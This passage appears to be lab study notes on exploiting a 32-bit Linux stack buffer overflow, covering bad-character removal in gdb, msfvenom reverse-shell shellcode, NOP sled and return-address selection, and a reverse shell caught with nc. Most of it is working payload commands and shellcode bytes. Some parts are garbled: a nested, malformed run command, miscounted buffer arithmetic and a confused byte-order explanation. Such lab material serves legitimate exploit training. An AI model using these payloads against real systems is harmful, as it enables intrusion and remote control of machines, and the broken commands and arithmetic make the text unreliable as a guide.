 \x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

//modified buffer size and payload
Buffer = "\x55" * (1040 - 253 - 4) = 783         # Substract the number of removed characters
 CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"  # "\x00" removed: 256 - 3 = 253 bytes
 EIP = "\x66" * 4

PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')

Continue remove bad characters until none are left

...

//Send CHARS - Without "\x00", "\x09", & "\x0a"
(gdb) (gdb) run $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/htb-student/bow $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')

 Breakpoint 1, 0x5655554d in bowfunc ()
 
(gdb) x/2000xb $esp+550
 <SNIP>
 0xffffca7a:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
 0xffffca82:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
 0xffffca8a:	0x0b	0x0c	0x0d	0x0e	0x0f	0x10	0x11	0x12
 0xffffca92:	0x13	0x14	0x15	0x16	0x17	0x18	0x19	0x1a
 0xffffca9a:	0x1b	0x1c	0x1d	0x1e	0x1f	0x00	0x21	0x22
                                                      # |----| <- "\x20" expected
                                                     # \x20 identified as BAD remote it
 
 <SNIP>
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 253 - 4) = 783
 CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

//remove the 0x20 bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x20//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
 252
root@sre:~$ echo $CHARS
 \x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

//modified buffer size and payload
Buffer = "\x55" * (1040 - 252 - 4) = 784         # Substract the number of removed characters
 CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"  # "\x00" removed: 256 - 4 = 252 bytes
 EIP = "\x66" * 4

PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')

STEP 10: GENERATE SHELLCODE

This step is performed once all the BAD CHARACTERS are removed.

Before generating shellcode, it is essential to ensure that it matches the target system in several key areas. First, the architecture must correspond to the CPU type and instruction set of the target, such as x86, x86_64, or ARM, because shellcode is raw machine code and will not execute correctly on a mismatched architecture. Second, the platform must match the target operating system, such as Linux, Windows, or macOS, since system calls and API interfaces differ between OSes and shellcode is typically written to interact directly with these interfaces. Third, attention must be paid to bad characters, which are bytes that cannot appear in the shellcode because they may terminate strings, corrupt memory, or break input parsing; common examples include null bytes (\x00), carriage returns (\x0d), and newlines (\x0a). Ensuring alignment across these three areas—architecture, platform, and bad characters—is crucial for creating functional and reliable shellcode.

//SYNTAX
msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>

root@oco:~$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
 Found 11 compatible encoders
 Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
 x86/shikata_ga_nai succeeded with size 95 (iteration=0)
 x86/shikata_ga_nai chosen with final size 95
 Payload size: 95 bytes
 Final size of c file: 425 bytes
 Saved as: shellcode

root@oco:~$ cat shellcode
 unsigned char buf[] = 
 "\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45"
 "\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8"
 "\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1"
 "\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7"
 "\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84"
 "\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87"
 "\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87";
 
//parse the shellcode to combine the strings for use in Python one-liner
root@oco:~$ cat shellcode | sed 's/^[ \t]*"//; s/"[ \t]*$//; s/"[ \t]*"//g' | tr -d '\n' > stringCombined.txt
root@oco:~$ cat stringCombined.txt
 unsigned char buf[] = \xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87";

RECALCULATE PAYLOAD

Buffer    = "\x55" * (1040 - 124 - 95 - 4) = 817
NOPs      = "\x90" * 124
Shellcode = "\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87"
EIP       = "\x66" * 4'

PAYLOAD LAYOUT: payload = Buffer + NOP sled + Shellcode + EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87" + "\x66") * 4')

VERIFY

(gdb) run $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "run $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87" + "\x66") * 4')" + "\x66") * 4')

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66") * 4')

Breakpoint 1, 0x56555551 in bowfunc ()

//check if the first bytes of our shellcode match the bytes after the NOPS
(gdb) x/2000xb $esp+550

<SNIP>
0xffffd64c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd654:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd65c:	0x90	0x90	0xda	0xca	0xba	0xe4	0x11	0xd4
						 # |----> Shellcode begins
<SNIP>

STEP 11: IDENTIFY RETURN ADDRESS (STACK REDIRECTION)

The final step involves identifying the return address on the program stack, which will be used to overwrite the EIP and redirect execution to the desired location. This memory address must point to a valid instruction within the NOP sled or directly to the shellcode, ensuring the CPU executes the payload seamlessly. It is critical that the chosen address does not contain any bad characters (e.g., null bytes or other problematic values or previously found bad characters) that could corrupt the exploit or terminate the payload prematurely. Once the return address is correctly identified and the EIP is overwritten with it, the program will jump to the specified location, slide through the NOP sled (if applicable), and execute the shellcode, successfully triggering the exploit.

//Select a memory address that will instruct EIP to jump to the bytes before
//the actual shellcode

root@oco:~$ gdb -q ./{filename}
 ...

(gdb) x/2000xb $esp+1400
 <SNIP>
 0xffffd5ec:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55 
 0xffffd5f4:	0x55	0x55	0x55	0x55	0x55	0x55	0x90	0x90
                                                  # End of "\x55"s   ---->|  |---> NOPS
 0xffffd5fc:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd604:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd60c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd614:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd61c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd624:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd62c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd634:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd63c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd644:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd64c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90  <-- best
 0xffffd654:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
 0xffffd65c:	0x90	0x90	0xda	0xca	0xba	0xe4	0x11	0xd4
				 # |---> Shellcode
 <SNIP>
 
 * 0xffffd64c will be the address to which EIP will be refered to which then reads
   reads and executes on e byte after the other starting at this address.
    - during previous debugging "\x66 overwrote the EIP. this will now be replaced
      to instruct EIP to jump to 0xffffd64c where the shellcode/payload is located.
       - 
   
 * 0xffffd64c is chosen because it is earlier in the NOP sled, giving the CPU more room 
   to "slide" through the NOPs before reaching the shellcode at 0xffffd65c.
    - This increases the reliability of the exploit, especially if there is slight
      variability in the stack layout (e.g., due to environmental factors like ASLR 
      being partially disabled or stack alignment).
    - Choosing 0xffffd654 Instead of 0xffffd654 as the return address, forces the CPU
      to start executing from that point in the NOP sled. Since the NOP sled is 
      designed to handle such cases, the exploit will still work as long as the 
      shellcode is reachable. However, choosing an address closer to the end of the NOP 
      sled (like 0xffffd654) reduces the margin of error, as there are fewer NOPs 
      before the shellcode begins.

PAYLOAD FORMULA

//revise formula
                             NOP   SHELL EIP_SIZE
   Buffer = "\x55" * (1040 - 100 - 95 -  4) =     841                //
     NOPs = "\x90" * 100                                             // NOP SLED
Shellcode = "\xda\xca\xba\xe4\x11\xd4...<SNIP>...\x5a\x22\xa2"
      EIP = "\x4c\xd6\xff\xff"                                       // Apply Endian
      
 * Note that the input of the address is entered backward on EIP
    - When writing the return address to the EIP, it must be in little-endianformat 
      because the system expects memory addresses to be stored this way. This is due 
      to the processor's architecture, which interprets memory addresses in 
      little-endianorder (least significant byte first). Additionally, since this 
      exploit involves a reverse shellthat communicates over the network, the payload 
      must account for network-to-host byte order conversion. 
      Network protocols typically use big-endianformat (most significant byte first), 
      while the host system uses little-endian. Therefore, the shellcode and return 
      address must be carefully crafted to ensure compatibility between the network and 
      host systems, allowing the reverse shell to establish a reliable connection and 
      execute successfully.

VERIFICATION

//
root@oco:~$ nc -nlvp 31337
 Listening on [0.0.0.0] (family 0, port 31337)
 
root@oco:~$ gdb -q ./{filename}
 ...
(gdb) run $(python -c 'print("\x55" * (1040 - 100 - 95 - 4) + "\x90" * 100 + "\xda\xca\xba...<SNIP>...\x5a\x22\xa2" + "\x4c\xd6\xff\xff")')

root@oco:~$ nc ...
 Listening on [0.0.0.0] (family 0, port 31337)
 Connection from 127.0.0.1 33504 received!
  id
  uid=1000(student) gid=1000(student) groups=1000(student),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

EXPLOITATION

Revise the payload for exploitation over the network.

Last updated